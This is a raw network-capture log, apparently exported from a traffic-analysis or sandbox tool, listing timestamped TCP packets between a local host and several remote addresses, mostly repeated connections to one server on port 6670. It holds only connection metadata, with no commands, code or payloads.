May 27, 2022 18:40:52.202647924 CEST	49756	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:52.242722034 CEST	6670	49756	91.193.75.133	192.168.2.5
May 27, 2022 18:40:52.890326023 CEST	49756	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:52.932429075 CEST	6670	49756	91.193.75.133	192.168.2.5
May 27, 2022 18:40:54.584331989 CEST	49759	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:54.624250889 CEST	6670	49759	91.193.75.133	192.168.2.5
May 27, 2022 18:40:55.202927113 CEST	49759	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:55.242959023 CEST	6670	49759	91.193.75.133	192.168.2.5
May 27, 2022 18:40:55.298178911 CEST	49760	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:55.338185072 CEST	6670	49760	91.193.75.133	192.168.2.5
May 27, 2022 18:40:55.819263935 CEST	49763	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:55.859193087 CEST	6670	49763	91.193.75.133	192.168.2.5
May 27, 2022 18:40:55.890475035 CEST	49759	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:55.890522003 CEST	49760	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:55.930442095 CEST	6670	49760	91.193.75.133	192.168.2.5
May 27, 2022 18:40:55.930464029 CEST	6670	49759	91.193.75.133	192.168.2.5
May 27, 2022 18:40:56.391123056 CEST	49763	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:56.431016922 CEST	6670	49763	91.193.75.133	192.168.2.5
May 27, 2022 18:40:56.499910116 CEST	49760	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:56.540383101 CEST	6670	49760	91.193.75.133	192.168.2.5
May 27, 2022 18:40:57.000015020 CEST	49763	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:40:57.043452024 CEST	6670	49763	91.193.75.133	192.168.2.5
May 27, 2022 18:41:00.131510019 CEST	49770	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:00.171358109 CEST	6670	49770	91.193.75.133	192.168.2.5
May 27, 2022 18:41:00.703393936 CEST	49770	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:00.744311094 CEST	6670	49770	91.193.75.133	192.168.2.5
May 27, 2022 18:41:01.390976906 CEST	49770	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:01.430989981 CEST	6670	49770	91.193.75.133	192.168.2.5
May 27, 2022 18:41:03.191642046 CEST	49773	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:03.231647968 CEST	6670	49773	91.193.75.133	192.168.2.5
May 27, 2022 18:41:03.753446102 CEST	49774	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:03.793576956 CEST	6670	49774	91.193.75.133	192.168.2.5
May 27, 2022 18:41:03.891176939 CEST	49773	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:03.931247950 CEST	6670	49773	91.193.75.133	192.168.2.5
May 27, 2022 18:41:04.254432917 CEST	49776	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:04.294398069 CEST	6670	49776	91.193.75.133	192.168.2.5
May 27, 2022 18:41:04.391223907 CEST	49774	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:04.431366920 CEST	6670	49774	91.193.75.133	192.168.2.5
May 27, 2022 18:41:04.500639915 CEST	49773	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:04.540687084 CEST	6670	49773	91.193.75.133	192.168.2.5
May 27, 2022 18:41:04.891299963 CEST	49776	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:04.931134939 CEST	6670	49776	91.193.75.133	192.168.2.5
May 27, 2022 18:41:05.000622988 CEST	49774	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:05.041001081 CEST	6670	49774	91.193.75.133	192.168.2.5
May 27, 2022 18:41:05.507725000 CEST	49776	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:05.547863960 CEST	6670	49776	91.193.75.133	192.168.2.5
May 27, 2022 18:41:10.477559090 CEST	49778	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:10.517604113 CEST	6670	49778	91.193.75.133	192.168.2.5
May 27, 2022 18:41:11.063705921 CEST	49778	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:11.103733063 CEST	6670	49778	91.193.75.133	192.168.2.5
May 27, 2022 18:41:11.673170090 CEST	49778	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:11.713155985 CEST	6670	49778	91.193.75.133	192.168.2.5
May 27, 2022 18:41:12.059333086 CEST	49780	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:12.100748062 CEST	6670	49780	91.193.75.133	192.168.2.5
May 27, 2022 18:41:12.527539968 CEST	49781	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:12.568242073 CEST	6670	49781	91.193.75.133	192.168.2.5
May 27, 2022 18:41:12.694361925 CEST	49780	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:12.735317945 CEST	6670	49780	91.193.75.133	192.168.2.5
May 27, 2022 18:41:12.805114031 CEST	49782	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:12.845839977 CEST	6670	49782	91.193.75.133	192.168.2.5
May 27, 2022 18:41:13.080930948 CEST	49781	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:13.121011019 CEST	6670	49781	91.193.75.133	192.168.2.5
May 27, 2022 18:41:13.306744099 CEST	49780	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:13.346920967 CEST	6670	49780	91.193.75.133	192.168.2.5
May 27, 2022 18:41:13.367851973 CEST	49782	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:13.408457041 CEST	6670	49782	91.193.75.133	192.168.2.5
May 27, 2022 18:41:13.673854113 CEST	49781	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:13.713934898 CEST	6670	49781	91.193.75.133	192.168.2.5
May 27, 2022 18:41:13.980175018 CEST	49782	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:14.020056009 CEST	6670	49782	91.193.75.133	192.168.2.5
May 27, 2022 18:41:19.008569956 CEST	49790	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:19.048634052 CEST	6670	49790	91.193.75.133	192.168.2.5
May 27, 2022 18:41:19.704245090 CEST	49790	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:19.744209051 CEST	6670	49790	91.193.75.133	192.168.2.5
May 27, 2022 18:41:20.391804934 CEST	49790	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:20.431777000 CEST	6670	49790	91.193.75.133	192.168.2.5
May 27, 2022 18:41:20.588870049 CEST	49791	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:20.629371881 CEST	6670	49791	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.019171000 CEST	49792	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.060033083 CEST	6670	49792	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.173161983 CEST	49791	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.213136911 CEST	6670	49791	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.266119003 CEST	49793	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.306160927 CEST	6670	49793	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.704421997 CEST	49792	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.744431019 CEST	6670	49792	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.876310110 CEST	49793	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.876308918 CEST	49791	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:21.916435003 CEST	6670	49793	91.193.75.133	192.168.2.5
May 27, 2022 18:41:21.916466951 CEST	6670	49791	91.193.75.133	192.168.2.5
May 27, 2022 18:41:22.392041922 CEST	49792	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:22.431860924 CEST	6670	49792	91.193.75.133	192.168.2.5
May 27, 2022 18:41:22.563992977 CEST	49793	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:22.604235888 CEST	6670	49793	91.193.75.133	192.168.2.5
May 27, 2022 18:41:27.817063093 CEST	49795	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:27.856986046 CEST	6670	49795	91.193.75.133	192.168.2.5
May 27, 2022 18:41:28.392539024 CEST	49795	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:28.432606936 CEST	6670	49795	91.193.75.133	192.168.2.5
May 27, 2022 18:41:29.002021074 CEST	49795	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:29.041872978 CEST	6670	49795	91.193.75.133	192.168.2.5
May 27, 2022 18:41:29.360589981 CEST	49797	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:29.400849104 CEST	6670	49797	91.193.75.133	192.168.2.5
May 27, 2022 18:41:29.825539112 CEST	49798	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:29.865288973 CEST	6670	49798	91.193.75.133	192.168.2.5
May 27, 2022 18:41:29.921096087 CEST	49799	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:29.961101055 CEST	6670	49799	91.193.75.133	192.168.2.5
May 27, 2022 18:41:30.064560890 CEST	49797	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:30.105040073 CEST	6670	49797	91.193.75.133	192.168.2.5
May 27, 2022 18:41:30.377041101 CEST	49798	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:30.418217897 CEST	6670	49798	91.193.75.133	192.168.2.5
May 27, 2022 18:41:30.502080917 CEST	49799	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:30.542947054 CEST	6670	49799	91.193.75.133	192.168.2.5
May 27, 2022 18:41:30.673939943 CEST	49797	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:30.717010021 CEST	6670	49797	91.193.75.133	192.168.2.5
May 27, 2022 18:41:31.064647913 CEST	49798	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:31.104661942 CEST	6670	49798	91.193.75.133	192.168.2.5
May 27, 2022 18:41:31.205284119 CEST	49799	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:31.245685101 CEST	6670	49799	91.193.75.133	192.168.2.5
May 27, 2022 18:41:36.321043015 CEST	49800	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:36.361114025 CEST	6670	49800	91.193.75.133	192.168.2.5
May 27, 2022 18:41:36.877676010 CEST	49800	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:36.917962074 CEST	6670	49800	91.193.75.133	192.168.2.5
May 27, 2022 18:41:37.565155029 CEST	49800	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:37.605217934 CEST	6670	49800	91.193.75.133	192.168.2.5
May 27, 2022 18:41:37.887444973 CEST	49807	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:37.929296970 CEST	6670	49807	91.193.75.133	192.168.2.5
May 27, 2022 18:41:38.374891996 CEST	49808	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:38.414783001 CEST	6670	49808	91.193.75.133	192.168.2.5
May 27, 2022 18:41:38.565220118 CEST	49807	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:38.605355978 CEST	6670	49807	91.193.75.133	192.168.2.5
May 27, 2022 18:41:38.679512024 CEST	49809	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:38.719408989 CEST	6670	49809	91.193.75.133	192.168.2.5
May 27, 2022 18:41:39.002830982 CEST	49808	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:39.044115067 CEST	6670	49808	91.193.75.133	192.168.2.5
May 27, 2022 18:41:39.174797058 CEST	49807	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:39.214826107 CEST	6670	49807	91.193.75.133	192.168.2.5
May 27, 2022 18:41:39.377816916 CEST	49809	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:39.417737961 CEST	6670	49809	91.193.75.133	192.168.2.5
May 27, 2022 18:41:39.705944061 CEST	49808	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:39.747994900 CEST	6670	49808	91.193.75.133	192.168.2.5
May 27, 2022 18:41:40.065351963 CEST	49809	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:40.105405092 CEST	6670	49809	91.193.75.133	192.168.2.5
May 27, 2022 18:41:46.601504087 CEST	49813	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:46.641659021 CEST	6670	49813	91.193.75.133	192.168.2.5
May 27, 2022 18:41:47.175358057 CEST	49813	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:47.215434074 CEST	6670	49813	91.193.75.133	192.168.2.5
May 27, 2022 18:41:47.878539085 CEST	49813	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:47.918663979 CEST	6670	49813	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.093523979 CEST	49814	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.133573055 CEST	6670	49814	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.227205992 CEST	49815	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.228635073 CEST	49816	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.267261982 CEST	6670	49815	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.268527031 CEST	6670	49816	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.675497055 CEST	49814	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.716190100 CEST	6670	49814	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.878691912 CEST	49816	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.894252062 CEST	49815	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:48.920491934 CEST	6670	49816	91.193.75.133	192.168.2.5
May 27, 2022 18:41:48.934375048 CEST	6670	49815	91.193.75.133	192.168.2.5
May 27, 2022 18:41:49.378689051 CEST	49814	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:49.419574976 CEST	6670	49814	91.193.75.133	192.168.2.5
May 27, 2022 18:41:49.503654957 CEST	49815	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:49.543482065 CEST	6670	49815	91.193.75.133	192.168.2.5
May 27, 2022 18:41:49.566169024 CEST	49816	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:49.606106997 CEST	6670	49816	91.193.75.133	192.168.2.5
May 27, 2022 18:41:55.454039097 CEST	49819	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:55.494302034 CEST	6670	49819	91.193.75.133	192.168.2.5
May 27, 2022 18:41:56.066756964 CEST	49819	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:56.106888056 CEST	6670	49819	91.193.75.133	192.168.2.5
May 27, 2022 18:41:56.676121950 CEST	49819	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:56.716156006 CEST	6670	49819	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.033685923 CEST	49821	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.073787928 CEST	6670	49821	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.199075937 CEST	49822	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.239104986 CEST	6670	49822	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.298404932 CEST	49823	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.338566065 CEST	6670	49823	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.707464933 CEST	49821	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.747524977 CEST	6670	49821	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.879508972 CEST	49823	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.896524906 CEST	49822	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:57.919709921 CEST	6670	49823	91.193.75.133	192.168.2.5
May 27, 2022 18:41:57.936620951 CEST	6670	49822	91.193.75.133	192.168.2.5
May 27, 2022 18:41:58.395065069 CEST	49821	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:58.435137987 CEST	6670	49821	91.193.75.133	192.168.2.5
May 27, 2022 18:41:58.504436016 CEST	49822	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:58.544437885 CEST	6670	49822	91.193.75.133	192.168.2.5
May 27, 2022 18:41:58.566962004 CEST	49823	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:41:58.606973886 CEST	6670	49823	91.193.75.133	192.168.2.5
May 27, 2022 18:42:04.114073992 CEST	49829	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:04.156949043 CEST	6670	49829	91.193.75.133	192.168.2.5
May 27, 2022 18:42:04.708117008 CEST	49829	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:04.748044014 CEST	6670	49829	91.193.75.133	192.168.2.5
May 27, 2022 18:42:05.395657063 CEST	49829	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:05.435686111 CEST	6670	49829	91.193.75.133	192.168.2.5
May 27, 2022 18:42:06.741940022 CEST	49830	80	192.168.2.5	160.153.136.3
May 27, 2022 18:42:06.770771027 CEST	80	49830	160.153.136.3	192.168.2.5
May 27, 2022 18:42:06.770914078 CEST	49830	80	192.168.2.5	160.153.136.3
May 27, 2022 18:42:06.776382923 CEST	49830	80	192.168.2.5	160.153.136.3
May 27, 2022 18:42:06.804121971 CEST	80	49830	160.153.136.3	192.168.2.5
May 27, 2022 18:42:06.806461096 CEST	80	49830	160.153.136.3	192.168.2.5
May 27, 2022 18:42:06.806485891 CEST	80	49830	160.153.136.3	192.168.2.5
May 27, 2022 18:42:06.806648016 CEST	49830	80	192.168.2.5	160.153.136.3
May 27, 2022 18:42:06.806725979 CEST	49830	80	192.168.2.5	160.153.136.3
May 27, 2022 18:42:06.835441113 CEST	80	49830	160.153.136.3	192.168.2.5
May 27, 2022 18:42:07.405000925 CEST	49831	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:07.444938898 CEST	6670	49831	91.193.75.133	192.168.2.5
May 27, 2022 18:42:07.453257084 CEST	49832	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:07.474877119 CEST	49833	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:07.493221045 CEST	6670	49832	91.193.75.133	192.168.2.5
May 27, 2022 18:42:07.514764071 CEST	6670	49833	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.005204916 CEST	49832	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.045067072 CEST	6670	49832	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.045176983 CEST	49833	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.045721054 CEST	49831	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.085108995 CEST	6670	49833	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.085863113 CEST	6670	49831	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.677186966 CEST	49833	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.677453995 CEST	49831	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.708445072 CEST	49832	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:08.717884064 CEST	6670	49833	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.718096018 CEST	6670	49831	91.193.75.133	192.168.2.5
May 27, 2022 18:42:08.748744011 CEST	6670	49832	91.193.75.133	192.168.2.5
May 27, 2022 18:42:12.340976954 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.360090017 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.360755920 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.360888004 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.379756927 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.665857077 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.665915012 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.665961027 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.665992975 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.666166067 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.666254044 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.666385889 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.679924965 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.679999113 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.680051088 CEST	80	49840	35.241.47.216	192.168.2.5
May 27, 2022 18:42:12.680223942 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.680260897 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:12.680268049 CEST	49840	80	192.168.2.5	35.241.47.216
May 27, 2022 18:42:13.830678940 CEST	49841	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:13.870551109 CEST	6670	49841	91.193.75.133	192.168.2.5
May 27, 2022 18:42:14.380780935 CEST	49841	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:14.421072006 CEST	6670	49841	91.193.75.133	192.168.2.5
May 27, 2022 18:42:14.927689075 CEST	49841	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:14.967633963 CEST	6670	49841	91.193.75.133	192.168.2.5
May 27, 2022 18:42:15.921545982 CEST	49844	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:15.956460953 CEST	49845	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:15.962184906 CEST	6670	49844	91.193.75.133	192.168.2.5
May 27, 2022 18:42:15.974235058 CEST	49846	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:15.998469114 CEST	6670	49845	91.193.75.133	192.168.2.5
May 27, 2022 18:42:16.017275095 CEST	6670	49846	91.193.75.133	192.168.2.5
May 27, 2022 18:42:16.474838018 CEST	49844	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:16.506069899 CEST	49845	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:16.515505075 CEST	6670	49844	91.193.75.133	192.168.2.5
May 27, 2022 18:42:16.521684885 CEST	49846	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:16.545977116 CEST	6670	49845	91.193.75.133	192.168.2.5
May 27, 2022 18:42:16.561696053 CEST	6670	49846	91.193.75.133	192.168.2.5
May 27, 2022 18:42:17.052880049 CEST	49845	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:17.068576097 CEST	49844	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:17.068599939 CEST	49846	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:17.092859983 CEST	6670	49845	91.193.75.133	192.168.2.5
May 27, 2022 18:42:17.108505964 CEST	6670	49844	91.193.75.133	192.168.2.5
May 27, 2022 18:42:17.108530998 CEST	6670	49846	91.193.75.133	192.168.2.5
May 27, 2022 18:42:17.704696894 CEST	49848	80	192.168.2.5	103.247.11.212
May 27, 2022 18:42:18.077733994 CEST	80	49848	103.247.11.212	192.168.2.5
May 27, 2022 18:42:18.077904940 CEST	49848	80	192.168.2.5	103.247.11.212
May 27, 2022 18:42:18.078087091 CEST	49848	80	192.168.2.5	103.247.11.212
May 27, 2022 18:42:18.450895071 CEST	80	49848	103.247.11.212	192.168.2.5
May 27, 2022 18:42:18.516205072 CEST	80	49848	103.247.11.212	192.168.2.5
May 27, 2022 18:42:18.516237974 CEST	80	49848	103.247.11.212	192.168.2.5
May 27, 2022 18:42:18.516432047 CEST	49848	80	192.168.2.5	103.247.11.212
May 27, 2022 18:42:18.516464949 CEST	49848	80	192.168.2.5	103.247.11.212
May 27, 2022 18:42:18.889434099 CEST	80	49848	103.247.11.212	192.168.2.5
May 27, 2022 18:42:22.276304007 CEST	49852	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:22.316299915 CEST	6670	49852	91.193.75.133	192.168.2.5
May 27, 2022 18:42:22.818973064 CEST	49852	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:23.710191965 CEST	49853	80	192.168.2.5	23.231.99.207
May 27, 2022 18:42:23.885740042 CEST	80	49853	23.231.99.207	192.168.2.5
May 27, 2022 18:42:23.885950089 CEST	49853	80	192.168.2.5	23.231.99.207
May 27, 2022 18:42:23.902453899 CEST	49853	80	192.168.2.5	23.231.99.207
May 27, 2022 18:42:24.078103065 CEST	80	49853	23.231.99.207	192.168.2.5
May 27, 2022 18:42:24.471982956 CEST	49853	80	192.168.2.5	23.231.99.207
May 27, 2022 18:42:24.647543907 CEST	80	49853	23.231.99.207	192.168.2.5
May 27, 2022 18:42:24.647682905 CEST	49853	80	192.168.2.5	23.231.99.207
May 27, 2022 18:42:26.743937016 CEST	49854	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:26.749481916 CEST	49855	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:26.767628908 CEST	49856	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:26.783935070 CEST	6670	49854	91.193.75.133	192.168.2.5
May 27, 2022 18:42:26.789493084 CEST	6670	49855	91.193.75.133	192.168.2.5
May 27, 2022 18:42:26.807636976 CEST	6670	49856	91.193.75.133	192.168.2.5
May 27, 2022 18:42:27.334969997 CEST	49855	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:27.334988117 CEST	49856	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:27.335036993 CEST	49854	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:27.375081062 CEST	6670	49855	91.193.75.133	192.168.2.5
May 27, 2022 18:42:27.375125885 CEST	6670	49854	91.193.75.133	192.168.2.5
May 27, 2022 18:42:27.375154972 CEST	6670	49856	91.193.75.133	192.168.2.5
May 27, 2022 18:42:28.022604942 CEST	49855	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:28.022619963 CEST	49854	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:28.022650003 CEST	49856	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:28.062617064 CEST	6670	49855	91.193.75.133	192.168.2.5
May 27, 2022 18:42:28.062652111 CEST	6670	49854	91.193.75.133	192.168.2.5
May 27, 2022 18:42:28.062665939 CEST	6670	49856	91.193.75.133	192.168.2.5
May 27, 2022 18:42:28.835196018 CEST	49852	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:28.875678062 CEST	6670	49852	91.193.75.133	192.168.2.5
May 27, 2022 18:42:34.555214882 CEST	49862	80	192.168.2.5	172.67.140.71
May 27, 2022 18:42:34.590965033 CEST	80	49862	172.67.140.71	192.168.2.5
May 27, 2022 18:42:34.593306065 CEST	49862	80	192.168.2.5	172.67.140.71
May 27, 2022 18:42:34.593461990 CEST	49862	80	192.168.2.5	172.67.140.71
May 27, 2022 18:42:34.626801968 CEST	80	49862	172.67.140.71	192.168.2.5
May 27, 2022 18:42:34.640897036 CEST	80	49862	172.67.140.71	192.168.2.5
May 27, 2022 18:42:34.640966892 CEST	80	49862	172.67.140.71	192.168.2.5
May 27, 2022 18:42:34.641166925 CEST	49862	80	192.168.2.5	172.67.140.71
May 27, 2022 18:42:34.641196966 CEST	49862	80	192.168.2.5	172.67.140.71
May 27, 2022 18:42:34.673506021 CEST	80	49862	172.67.140.71	192.168.2.5
May 27, 2022 18:42:35.309529066 CEST	49864	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.326210022 CEST	49863	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.349560022 CEST	6670	49864	91.193.75.133	192.168.2.5
May 27, 2022 18:42:35.366091013 CEST	6670	49863	91.193.75.133	192.168.2.5
May 27, 2022 18:42:35.369318008 CEST	49865	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.409269094 CEST	6670	49865	91.193.75.133	192.168.2.5
May 27, 2022 18:42:35.913856030 CEST	49864	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.945110083 CEST	49863	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.945128918 CEST	49865	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:35.953660011 CEST	6670	49864	91.193.75.133	192.168.2.5
May 27, 2022 18:42:35.985101938 CEST	6670	49865	91.193.75.133	192.168.2.5
May 27, 2022 18:42:35.985130072 CEST	6670	49863	91.193.75.133	192.168.2.5
May 27, 2022 18:42:36.159638882 CEST	49866	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:36.199582100 CEST	6670	49866	91.193.75.133	192.168.2.5
May 27, 2022 18:42:36.507764101 CEST	49864	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:36.547868967 CEST	6670	49864	91.193.75.133	192.168.2.5
May 27, 2022 18:42:36.648365021 CEST	49863	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:36.648842096 CEST	49865	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:36.688436985 CEST	6670	49863	91.193.75.133	192.168.2.5
May 27, 2022 18:42:36.688600063 CEST	6670	49865	91.193.75.133	192.168.2.5
May 27, 2022 18:42:36.835886955 CEST	49866	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:36.876065969 CEST	6670	49866	91.193.75.133	192.168.2.5
May 27, 2022 18:42:37.445317030 CEST	49866	6670	192.168.2.5	91.193.75.133
May 27, 2022 18:42:37.485609055 CEST	6670	49866	91.193.75.133	192.168.2.5
May 27, 2022 18:42:46.134496927 CEST	49868	6670	192.168.2.5	91.193.75.133
